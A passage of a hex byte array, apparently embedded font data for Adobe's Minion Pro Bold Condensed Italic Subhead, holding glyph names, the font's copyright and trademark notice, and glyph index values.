0x45, 0x34, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x34, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x34, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x34, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x34, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x34, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x34, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x34, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x34, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x34, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x34, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x34, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x34, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x35, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x35, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x35, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x35, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x35, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x35, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x35, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x35, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x35, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x35, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x35, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x35, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x35, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x35, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x35, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x35, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x36, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x36, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x36, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x36, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x36, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x36, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x36, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x36, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x36, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x36, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x36, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x36, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x36, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x36, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x36, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x36, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x37, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x37, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x37, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x37, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x37, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x37, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x37, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x37, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x37, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x37, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x37, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x37, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x37, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x37, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x37, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x37, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x38, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x38, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x38, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x38, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x38, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x38, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x38, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x38, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x38, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x38, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x38, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x38, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x38, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x38, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x38, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x38, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x39, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x39, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x39, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x39, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x39, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x39, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x39, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x39, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x39, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x39, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x39, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x39, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x39, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x39, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x39, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x39, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x41, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x41, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x41, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x41, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x41, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x41, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x41, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x41, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x41, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x41, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x41, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x41, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x41, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x41, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x41, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x41, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x42, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x42, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x42, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x42, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x42, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x42, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x42, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x42, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x42, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x42, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x42, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x42, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x42, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x42, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x42, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x42, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x43, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x43, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x43, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x43, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x43, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x43, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x43, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x43, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x43, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x43, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x43, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x43, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x43, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x43, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x43, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x43, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x44, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x44, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x44, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x44, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x44, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x44, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x44, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x44, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x44, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x44, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x44, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x44, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x44, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x44, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x44, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x44, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x45, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x45, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x45, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x45, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x45, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x45, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x45, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x45, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x45, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x45, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x45, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x45, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x45, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x45, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x45, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x45, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x46, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x46, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x46, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x46, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x46, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x46, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x46, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x46, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x45, 0x46, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x45, 0x46, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x45, + 0x46, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x46, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x45, 0x46, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x45, 0x46, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x45, 0x46, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x45, 0x46, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x30, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x30, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x30, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x30, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x30, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x30, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x30, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x30, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x30, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x30, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x30, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x30, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x30, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x30, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x30, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x30, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x31, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x31, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x31, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x31, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x31, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x31, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x31, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x31, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x31, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x31, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x31, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x31, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x31, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x31, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x31, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x31, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x32, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x32, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x32, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x32, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x32, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x32, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x32, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x32, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x32, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x32, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x32, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x32, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x32, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x32, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x32, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x32, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x33, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x33, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x33, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x33, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x33, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x33, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x33, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x33, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x33, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x33, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x33, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x33, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x33, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x33, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x33, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x33, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x34, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x34, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x34, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x34, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x34, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x34, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x34, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x34, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x34, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x34, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x34, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x34, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x34, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x34, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x34, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x34, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x35, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x35, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x35, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x35, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x35, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x35, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x35, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x35, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x35, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x35, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x35, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x35, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x35, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x35, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x35, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x35, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x36, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x36, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x36, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x36, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x36, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x36, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x36, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x36, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x36, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x36, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x36, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x36, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x36, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x36, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x36, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x36, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x37, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x37, 0x31, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x37, 0x32, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x37, + 0x33, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x37, 0x34, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x37, 0x35, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x37, 0x36, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x37, 0x37, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x37, 0x38, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x37, 0x39, 0x75, 0x6E, 0x69, 0x46, 0x46, + 0x37, 0x41, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x37, + 0x42, 0x75, 0x6E, 0x69, 0x46, 0x46, 0x37, 0x43, + 0x75, 0x6E, 0x69, 0x46, 0x46, 0x37, 0x44, 0x75, + 0x6E, 0x69, 0x46, 0x46, 0x37, 0x45, 0x75, 0x6E, + 0x69, 0x46, 0x46, 0x37, 0x46, 0x75, 0x6E, 0x69, + 0x46, 0x46, 0x38, 0x30, 0x75, 0x6E, 0x69, 0x46, + 0x46, 0x38, 0x31, 0x32, 0x2E, 0x30, 0x30, 0x30, + 0x43, 0x6F, 0x70, 0x79, 0x72, 0x69, 0x67, 0x68, + 0x74, 0x20, 0x31, 0x39, 0x39, 0x30, 0x2C, 0x20, + 0x31, 0x39, 0x39, 0x31, 0x2C, 0x20, 0x31, 0x39, + 0x39, 0x32, 0x2C, 0x20, 0x31, 0x39, 0x39, 0x34, + 0x2C, 0x20, 0x31, 0x39, 0x39, 0x37, 0x2C, 0x20, + 0x31, 0x39, 0x39, 0x38, 0x2C, 0x20, 0x32, 0x30, + 0x30, 0x30, 0x2C, 0x20, 0x32, 0x30, 0x30, 0x32, + 0x2C, 0x20, 0x32, 0x30, 0x30, 0x34, 0x20, 0x41, + 0x64, 0x6F, 0x62, 0x65, 0x20, 0x53, 0x79, 0x73, + 0x74, 0x65, 0x6D, 0x73, 0x20, 0x49, 0x6E, 0x63, + 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x65, + 0x64, 0x2E, 0x20, 0x41, 0x6C, 0x6C, 0x20, 0x72, + 0x69, 0x67, 0x68, 0x74, 0x73, 0x20, 0x72, 0x65, + 0x73, 0x65, 0x72, 0x76, 0x65, 0x64, 0x2E, 0x20, + 0x50, 0x72, 0x6F, 0x74, 0x65, 0x63, 0x74, 0x65, + 0x64, 0x20, 0x62, 0x79, 0x20, 0x55, 0x2E, 0x53, + 0x2E, 0x20, 0x50, 0x61, 0x74, 0x65, 0x6E, 0x74, + 0x73, 0x20, 0x44, 0x33, 0x33, 0x37, 0x2C, 0x36, + 0x30, 0x34, 0x3B, 0x20, 0x44, 0x33, 0x33, 0x38, + 0x2C, 0x39, 0x30, 0x37, 0x3B, 0x20, 0x44, 0x35, + 0x30, 0x38, 0x2C, 0x39, 0x34, 0x33, 0x2E, 0x20, + 0x4D, 0x69, 0x6E, 0x69, 0x6F, 0x6E, 0x20, 0x69, + 0x73, 0x20, 0x65, 0x69, 0x74, 0x68, 0x65, 0x72, + 0x20, 0x61, 0x20, 0x72, 0x65, 0x67, 0x69, 0x73, + 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x74, 0x72, + 0x61, 0x64, 0x65, 0x6D, 0x61, 0x72, 0x6B, 0x20, + 0x6F, 0x72, 0x20, 0x61, 0x20, 0x74, 0x72, 0x61, + 0x64, 0x65, 0x6D, 0x61, 0x72, 0x6B, 0x20, 0x6F, + 0x66, 0x20, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x20, + 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x73, 0x20, + 0x49, 0x6E, 0x63, 0x6F, 0x72, 0x70, 0x6F, 0x72, + 0x61, 0x74, 0x65, 0x64, 0x20, 0x69, 0x6E, 0x20, + 0x74, 0x68, 0x65, 0x20, 0x55, 0x6E, 0x69, 0x74, + 0x65, 0x64, 0x20, 0x53, 0x74, 0x61, 0x74, 0x65, + 0x73, 0x20, 0x61, 0x6E, 0x64, 0x2F, 0x6F, 0x72, + 0x20, 0x6F, 0x74, 0x68, 0x65, 0x72, 0x20, 0x63, + 0x6F, 0x75, 0x6E, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x2E, 0x4D, 0x69, 0x6E, 0x69, 0x6F, 0x6E, 0x20, + 0x50, 0x72, 0x6F, 0x20, 0x42, 0x6F, 0x6C, 0x64, + 0x20, 0x43, 0x6F, 0x6E, 0x64, 0x65, 0x6E, 0x73, + 0x65, 0x64, 0x20, 0x49, 0x74, 0x61, 0x6C, 0x69, + 0x63, 0x20, 0x53, 0x75, 0x62, 0x68, 0x65, 0x61, + 0x64, 0x4D, 0x69, 0x6E, 0x69, 0x6F, 0x6E, 0x20, + 0x50, 0x72, 0x6F, 0x00, 0x00, 0x00, 0x01, 0x87, + 0x01, 0x88, 0x01, 0x89, 0x01, 0x8A, 0x01, 0x8B, + 0x01, 0x8C, 0x01, 0x8D, 0x01, 0x8E, 0x01, 0x8F, + 0x01, 0x90, 0x01, 0x91, 0x01, 0x92, 0x01, 0x93, + 0x01, 0x94, 0x01, 0x95, 0x01, 0x96, 0x00, 0x01, + 0x00, 0x02, 0x00, 0x03, 0x00, 0x04, 0x00, 0x05, + 0x00, 0x06, 0x00, 0x07, 0x00, 0x68, 0x00, 0x09, + 0x00, 0x0A, 0x00, 0x0B, 0x00, 0x0C, 0x00, 0x0D, + 0x00, 0x0E, 0x00, 0x0F, 0x00, 0x10, 0x00, 0x11, + 0x00, 0x12, 0x00, 0x13, 0x00, 0x14, 0x00, 0x15, + 0x00, 0x16, 0x00, 0x17, 0x00, 0x18, 0x00, 0x19, + 0x00, 0x1A, 0x00, 0x1B, 0x00, 0x1C, 0x00, 0x1D, + 0x00, 0x1E, 0x00, 0x1F, 0x00, 0x20, 0x00, 0x21, + 0x00, 0x22, 0x00, 0x23, 0x00, 0x24, 0x00, 0x25, + 0x00, 0x26, 0x00, 0x27, 0x00, 0x28, 0x00, 0x29, + 0x00, 0x2A, 0x00, 0x2B, 0x00, 0x2C, 0x00, 0x2D, + 0x00, 0x2E, 0x00, 0x2F, 0x00, 0x30, 0x00, 0x31, + 0x00, 0x32, 0x00, 0x33, 0x00, 0x34, 0x00, 0x35, + 0x00, 0x36, 0x00, 0x37, 0x00, 0x38, 0x00, 0x39, + 0x00, 0x3A, 0x00, 0x3B, 0x00, 0x3C, 0x00, 0x3D, + 0x00, 0x3E, 0x00, 0x3F, 0x00, 0x40, 0x00, 0x7C, + 0x00, 0x42, 0x00, 0x43, 0x00, 0x44, 0x00, 0x45, + 0x00, 0x46, 0x00, 0x47, 0x00, 0x48, 0x00, 0x49, + 0x00, 0x4A, 0x00, 0x4B, 0x00, 0x4C, 0x00, 0x4D, + 0x00, 0x4E, 0x00, 0x4F, 0x00, 0x50, 0x00, 0x51, + 0x00, 0x52, 0x00, 0x53, 0x00, 0x54, 0x00, 0x55, + 0x00, 0x56, 0x00, 0x57, 0x00, 0x58, 0x00, 0x59, + 0x00, 0x5A, 0x00, 0x5B, 0x00, 0x5C, 0x00, 0x5D, + 0x00, 0x5E, 0x00, 0x5F, 0x01, 0x97, 0x01, 0x98, + 0x01, 0x99, 0x01, 0x9A, 0x01, 0x9B, 0x01, 0x9C, + 0x01, 0x9D, 0x01, 0x9E, 0x01, 0x9F, 0x01, 0xA0, + 0x01, 0xA1, 0x01, 0xA2, 0x01, 0xA3, 0x01, 0xA4, + 0x01, 0xA5, 0x01, 0xA6, 0x01, 0xA7, 